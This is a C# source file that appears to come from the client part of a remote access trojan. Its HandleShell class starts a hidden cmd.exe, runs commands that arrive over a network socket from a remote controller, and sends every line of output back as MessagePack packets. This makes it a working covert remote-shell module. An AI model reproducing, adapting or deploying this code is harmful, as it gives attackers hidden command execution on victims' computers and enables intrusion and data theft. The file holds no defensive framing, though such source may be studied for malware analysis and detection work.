2019-06-23 06:41:10 +03:00

114 lines
3.4 KiB
C#

using Client.MessagePack;
using Client.Connection;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Text;
using System.Threading;
namespace Client.Handle_Packet
{
public static class HandleShell
{
public static Process ProcessShell;
public static string Input { get; set; }
public static bool CanWrite { get; set; }
public static void ShellWriteLine(string arg)
{
Input = arg;
CanWrite = true;
}
public static void StarShell()
{
ProcessShell = new Process()
{
StartInfo = new ProcessStartInfo("cmd")
{
UseShellExecute = false,
CreateNoWindow = true,
RedirectStandardOutput = true,
RedirectStandardInput = true,
RedirectStandardError = true,
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))
}
};
ProcessShell.OutputDataReceived += ShellDataHandler;
ProcessShell.ErrorDataReceived += ShellDataHandler;
ProcessShell.Start();
ProcessShell.BeginOutputReadLine();
ProcessShell.BeginErrorReadLine();
while (ClientSocket.IsConnected)
{
Thread.Sleep(1);
if (CanWrite)
{
if (Input == "exit".ToLower())
{
break;
}
ProcessShell.StandardInput.WriteLine(Input);
CanWrite = false;
}
}
ShellClose();
return;
}
private static void ShellDataHandler(object sender, DataReceivedEventArgs e)
{
StringBuilder Output = new StringBuilder();
try
{
Output.AppendLine(e.Data);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "shell";
msgpack.ForcePathObject("ReadInput").AsString = Output.ToString();
ClientSocket.Send(msgpack.Encode2Bytes());
}
catch { }
}
public static void ShellClose()
{
try
{
if (ProcessShell != null)
{
KillProcessAndChildren(ProcessShell.Id);
ProcessShell.OutputDataReceived -= ShellDataHandler;
ProcessShell.ErrorDataReceived -= ShellDataHandler;
CanWrite = false;
}
}
catch { }
}
private static void KillProcessAndChildren(int pid)
{
if (pid == 0)
{
return;
}
ManagementObjectSearcher searcher = new ManagementObjectSearcher
("Select * From Win32_Process Where ParentProcessID=" + pid);
ManagementObjectCollection moc = searcher.Get();
foreach (ManagementObject mo in moc)
{
KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"]));
}
try
{
Process proc = Process.GetProcessById(pid);
proc.Kill();
}
catch { }
}
}
}